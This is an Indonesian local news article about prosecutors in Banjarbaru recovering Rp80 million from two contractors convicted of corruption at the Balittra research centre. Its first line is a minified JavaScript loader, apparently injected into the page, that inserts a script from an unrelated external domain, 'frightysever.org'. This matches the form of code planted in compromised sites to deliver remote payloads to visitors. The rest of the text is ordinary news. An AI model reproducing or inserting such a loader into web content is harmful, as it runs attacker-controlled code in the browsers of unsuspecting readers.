(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Jaksa Eksekutor dalam Tim Pidana Khusus Kejaksaan Negeri (Kejari) Banjarbaru berhasil melakukan eksekusi dan pemulihan keuangan negara, dalam tindak pidana korupsi (tipikor) yang terjadi di Balai Penelitian Pertanian Lahan Rawa (Balittra) Banjarbaru.
Kepala Kejari Banjarbaru, Andri Irawan, mengatakan keuangan negara yang diselamatkan dalam perkara yang terjadi pada 2015 silam tersebut mencapai Rp80 juta. “Kita melakukan pemulihan uang negara sebesar Rp80 juta, berdasarkan putusan majelis hakim pengadilan tipikor pada Pengadilan Negeri Banjarmasin. Uang ini telah disetorkan ke kas negara sebagai PNBP (Penerimaan Negara Bukan Pajak) melalui Bank Rakyat Indonesia (BRI),” katanya, Kamis (2/7/2020) sore.
Sebagaimana diketahui, dua orang kontraktor pelaksana proyek di Balittta Banjarbaru, berinisial SF dan DA, ditetapkan sebagai terpidana dalam perkara tipikor ini. Keduanya dieksekusi di Pengadilan Negeri (PN) Banjarmasin.
SF dan DA terbukti melakukan korupsi saat menjalankan pekerjaan proyek di Balittra Banjarbaru, dengan nilai kontrak Rp 1,2 miliar. Berdasarkan Laporan Hasil Pemeriksaan (LHP) Audit Kerugian Negara oleh Perwakilan Badan Pengawasan Keuangan dan Pembangunan (BPKP) Provinsi Kalimantan Selatan Nomor: SR-271/PW 16/5/2019, tanggal 23 Agustus 2019, korupsi yang dilakukan oleh keduanya mengakibatkan kerugian keuangan negara sebesar Rp 298.636.703.
Terungkapnya kasus ini berawal saat Polres Banjarbaru melakukan penyidikan pada 2019 lalu, 4 tahun setelah berjalannya proyek di Balittra Banjarbaru. Pada Januari 2020, berkas perkara penyidikan Polres Banjarbaru telah dinyatakan lengkap oleh Kejari Banjarbaru dan selanjutnya dilimpahkan ke PN Banjarmasin untuk dieksekusi.
Atas terbukti bersalah melakukan korupsi, SF dan DA dijerat pasal 3 jo Pasal 18 UU RI No 31 Tahun 1999 sebagaimana telah diubah dan ditambah dengan UU RI No 20 Tahun 2001 tentang Perubahan atas UU RI No 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) ke 1 KUHP. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.